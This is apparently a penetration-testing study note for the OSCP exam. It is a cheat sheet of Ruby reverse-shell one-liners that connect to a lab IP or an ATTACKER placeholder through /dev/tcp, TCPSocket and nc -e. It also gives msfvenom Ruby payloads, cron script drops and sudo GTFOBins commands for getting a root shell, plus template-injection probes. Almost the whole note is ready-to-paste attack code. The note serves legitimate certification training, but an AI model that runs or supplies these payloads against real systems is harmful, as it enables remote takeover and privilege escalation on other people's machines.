Ruby

Ruby — Language & Reverse Shells

Ctrl+F: ruby -e · exec · system · socket · /dev/tcp · shebang · msfvenom

Ruby is preinstalled on many Linux boxes and all over Kali (Metasploit, WPScan, evil-winrm via gem). On OSCP use it for one-liner reverse shells, sudo GTFOBins, restricted shell escape, and cron script drops.

→ Shell · Reverse Shell - Base64 bash-c echo and One-Liners · Shebangs · sudo

---

📌 Quick reverse shell (your lab one-liner)

Listener (Kali):

rlwrap nc -lnvp 1447

Target — exec wraps bash TCP reverse shell:

ruby -e 'exec'"'"'bash -c "/bin/bash -i -p>& /dev/tcp/192.168.45.227/1447 0>&1"'"'"''

Same payload, readable form (paste as script or adjust quoting):

exec 'bash -c "/bin/bash -i -p>& /dev/tcp/192.168.45.227/1447 0>&1"'

Piece	Meaning
exec	Replace Ruby process with the command — no return
-i	Interactive bash
-p	Privileged mode (keeps setuid if applicable)
>& /dev/tcp/IP/PORT	Bash builtin TCP redirect

Replace 192.168.45.227 with tun0 and 1447 with your listener port.

---

📌 Run Ruby one-liners

ruby -e 'puts "hello"'
ruby -e "exec '/bin/bash'"
ruby script.rb
chmod +x script.rb && ./script.rb    # needs shebang

Form	Use
ruby -e 'CODE'	Single line on target
ruby file.rb	Script from disk
#!/usr/bin/ruby	Shebang for cron/SUID — Shebangs

Check version:

which ruby
ruby -v

---

📌 Reverse shell methods

1 — exec + bash /dev/tcp (simplest on Linux)

ruby -e 'exec "/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""'

Your compact form:

ruby -e 'exec'"'"'bash -c "/bin/bash -i -p>& /dev/tcp/ATTACKER/1447 0>&1"'"'"''

2 — exec /bin/bash (local shell upgrade — not reverse)

ruby -e 'exec "/bin/bash"'
ruby -e 'exec "/bin/sh"'

→ Restricted Shell Escape · sudo > 📌 4) Privesc — abuse sudo -l (GTFOBins)

3 — Pure Ruby socket (no bash)

ruby -rsocket -e 'f=TCPSocket.open("ATTACKER",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Short variant:

ruby -rsocket -e 'c=TCPSocket.new("ATTACKER","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4 — system (does NOT replace process — weaker)

ruby -e 'system("nc -e /bin/bash ATTACKER 4444")'
ruby -e 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"")'

Use exec for reverse shells when possible — system spawns child and may exit.

5 — msfvenom Ruby payload

msfvenom -p cmd/unix/reverse_ruby LHOST=ATTACKER LPORT=4444
msfvenom -p ruby/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f ruby -o shell.rb
ruby shell.rb

→ Msfvenom

---

📌 Shebang script drop (cron / writable path)

cat << 'EOF' > /tmp/rev.rb
#!/usr/bin/ruby
exec 'bash -c "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
EOF
chmod +x /tmp/rev.rb
/tmp/rev.rb

Cron privesc:

# If you can write a root cron script
echo '#!/usr/bin/ruby' > /path/to/script.rb
echo 'exec "/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""' >> /path/to/script.rb
chmod +x /path/to/script.rb

→ Shebangs · Linux > 📌 4) Cron Jobs

---

📌 sudo / GTFOBins

If sudo -l shows:

(root) NOPASSWD: /usr/bin/ruby

sudo ruby -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/sh -p"'

With reverse shell:

sudo ruby -e 'exec "/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\""'

→ GTFOBins — ruby

---

📌 Language basics (OSCP-relevant)

# Output
puts "text"
print "no newline"
 
# Run shell command — returns output
`id`
system("whoami")
 
# Replace current process (privesc/revshell)
exec "/bin/bash"
 
# Strings & interpolation
ip = "10.10.14.5"
port = 4444
exec "bash -c 'bash -i >& /dev/tcp/#{ip}/#{port} 0>&1'"
 
# Require socket library
require 'socket'

---

📌 Web / SSTI (bonus)

If you see Ruby template injection in foothold phase:

<%= 7*7 %>
#{7*7}

→ Initial foothold · not full Ruby ref — test for RCE in ERB/Sinatra apps.

---

📌 Kali tools using Ruby

Tool	Install
Metasploit	Preinstalled — msfconsole
WPScan	wpscan (Ruby gem)
evil-winrm	gem install evil-winrm

→ MetaSploit · WPScan · evil-winrm · Installation - Kali Setup

---

📌 Troubleshooting

Problem	Fix
ruby: command not found	Try which ruby · /usr/bin/ruby · use bash/python instead
Quoting errors	Use 'exec'"'"'...'"'"'' pattern or write .rb file
Shell dies instantly	Use exec not system · check listener IP/port
No /dev/tcp	Use socket one-liner (method 3)

→ Broken PATH - Commands Not Found

---

📌 Quick cheat sheet

rlwrap nc -lnvp 4444
 
ruby -e 'exec "/bin/bash"'
ruby -e 'exec'"'"'bash -c "/bin/bash -i -p>& /dev/tcp/ATTACKER/4444 0>&1"'"'"''
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 
sudo ruby -e 'exec "/bin/bash"'

---

Related Tools

• Python
• Netcat
• Msfvenom
• Shebangs

Related Notes

• Shell
• Reverse Shell - Base64 bash-c echo and One-Liners
• Restricted Shell Escape
• sudo
• Linux Tools